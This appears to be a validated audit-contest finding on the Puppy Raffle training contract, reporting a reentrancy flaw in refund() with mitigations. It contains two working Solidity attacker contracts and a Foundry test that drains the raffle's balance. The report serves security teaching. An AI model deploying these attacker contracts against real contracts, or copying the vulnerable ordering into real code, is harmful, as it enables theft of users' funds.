Puppy Raffle

AI First Flight #1
Beginner FriendlyFoundrySolidityNFT
EXP
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Submission Details
Severity: high
Valid

Reentrancy in refund() lets an attacker drain all entrance fees

Root + Impact

Description

  • A player who calls refund should get their entrance fee back once and be removed from the raffle.

  • refund sends the ETH with sendValue before it sets players[playerIndex] = address(0). A contract player re-enters refund from its receive() with the same index; the slot is still its own address, so every check passes again and it is paid again, until the contract is empty.

function refund(uint256 playerIndex) public {
address playerAddress = players[playerIndex];
require(playerAddress == msg.sender, "PuppyRaffle: Only the player can refund");
require(playerAddress != address(0), "PuppyRaffle: Player already refunded, or is not active");
@> payable(msg.sender).sendValue(entranceFee); // external call first
@> players[playerIndex] = address(0); // state update after
emit RaffleRefunded(playerAddress);
}

Risk

Likelihood:

  • Anyone can deploy a contract, enter with one ticket and call refund; no special timing or role is needed.

Impact:

  • The whole contract balance (all other players' entrance fees and any accrued fees) is stolen in one transaction. In the PoC the attacker pays 1 ETH and leaves with 5 ETH, the raffle holds 0.

Proof of Concept

All tests run in a test contract that deploys PuppyRaffle(1e18, address(99), 1 days) and uses the helpers _players(start,n) (distinct addresses) and _enter(p) (pays 1e18 * p.length). Full file: test/AuditPoC.t.sol, forge test --mc AuditPoC passes.

contract ReentrancyAttacker {
PuppyRaffle r;
uint256 fee;
uint256 idx;
​
constructor(PuppyRaffle _r) {
r = _r;
fee = _r.entranceFee();
}
​
function attack() external payable {
address[] memory p = new address[](1);
p[0] = address(this);
r.enterRaffle{value: fee}(p);
idx = r.getActivePlayerIndex(address(this));
r.refund(idx);
}
​
receive() external payable {
if (address(r).balance >= fee) r.refund(idx);
}
}
​
function test_H1_refundReentrancyDrains() public {
_enter(_players(1, 4));
ReentrancyAttacker a = new ReentrancyAttacker(r);
vm.deal(address(a), 0);
a.attack{value: fee}();
assertEq(address(r).balance, 0);
assertEq(address(a).balance, 5 * fee); // paid 1, took 5
}

Recommended Mitigation

Follow checks-effects-interactions (and/or add ReentrancyGuard):

- payable(msg.sender).sendValue(entranceFee);
- players[playerIndex] = address(0);
+ players[playerIndex] = address(0);
+ payable(msg.sender).sendValue(entranceFee);
emit RaffleRefunded(playerAddress);
Updates

Lead Judging Commences

ai-first-flight-judge Lead Judge about 9 hours ago
Submission Judgement Published
Validated
Assigned finding tags:

[H-02] Reentrancy Vulnerability In refund() function

## Description The `PuppyRaffle::refund()` function doesn't have any mechanism to prevent a reentrancy attack and doesn't follow the Check-effects-interactions pattern ## Vulnerability Details ```javascript function refund(uint256 playerIndex) public { address playerAddress = players[playerIndex]; require(playerAddress == msg.sender, "PuppyRaffle: Only the player can refund"); require(playerAddress != address(0), "PuppyRaffle: Player already refunded, or is not active"); payable(msg.sender).sendValue(entranceFee); players[playerIndex] = address(0); emit RaffleRefunded(playerAddress); } ``` In the provided PuppyRaffle contract is potentially vulnerable to reentrancy attacks. This is because it first sends Ether to msg.sender and then updates the state of the contract.a malicious contract could re-enter the refund function before the state is updated. ## Impact If exploited, this vulnerability could allow a malicious contract to drain Ether from the PuppyRaffle contract, leading to loss of funds for the contract and its users. ```javascript PuppyRaffle.players (src/PuppyRaffle.sol#23) can be used in cross function reentrancies: - PuppyRaffle.enterRaffle(address[]) (src/PuppyRaffle.sol#79-92) - PuppyRaffle.getActivePlayerIndex(address) (src/PuppyRaffle.sol#110-117) - PuppyRaffle.players (src/PuppyRaffle.sol#23) - PuppyRaffle.refund(uint256) (src/PuppyRaffle.sol#96-105) - PuppyRaffle.selectWinner() (src/PuppyRaffle.sol#125-154) ``` ## POC <details> ```solidity // SPDX-License-Identifier: MIT pragma solidity ^0.7.6; import "./PuppyRaffle.sol"; contract AttackContract { PuppyRaffle public puppyRaffle; uint256 public receivedEther; constructor(PuppyRaffle _puppyRaffle) { puppyRaffle = _puppyRaffle; } function attack() public payable { require(msg.value > 0); // Create a dynamic array and push the sender's address address[] memory players = new address[](1); players[0] = address(this); puppyRaffle.enterRaffle{value: msg.value}(players); } fallback() external payable { if (address(puppyRaffle).balance >= msg.value) { receivedEther += msg.value; // Find the index of the sender's address uint256 playerIndex = puppyRaffle.getActivePlayerIndex(address(this)); if (playerIndex > 0) { // Refund the sender if they are in the raffle puppyRaffle.refund(playerIndex); } } } } ``` we create a malicious contract (AttackContract) that enters the raffle and then uses its fallback function to repeatedly call refund before the PuppyRaffle contract has a chance to update its state. </details> ## Recommendations To mitigate the reentrancy vulnerability, you should follow the Checks-Effects-Interactions pattern. This pattern suggests that you should make any state changes before calling external contracts or sending Ether. Here's how you can modify the refund function: ```javascript function refund(uint256 playerIndex) public { address playerAddress = players[playerIndex]; require(playerAddress == msg.sender, "PuppyRaffle: Only the player can refund"); require(playerAddress != address(0), "PuppyRaffle: Player already refunded, or is not active"); // Update the state before sending Ether players[playerIndex] = address(0); emit RaffleRefunded(playerAddress); // Now it's safe to send Ether (bool success, ) = payable(msg.sender).call{value: entranceFee}(""); require(success, "PuppyRaffle: Failed to refund"); } ``` This way, even if the msg.sender is a malicious contract that tries to re-enter the refund function, it will fail the require check because the player's address has already been set to address(0).Also we changed the event is emitted before the external call, and the external call is the last step in the function. This mitigates the risk of a reentrancy attack.

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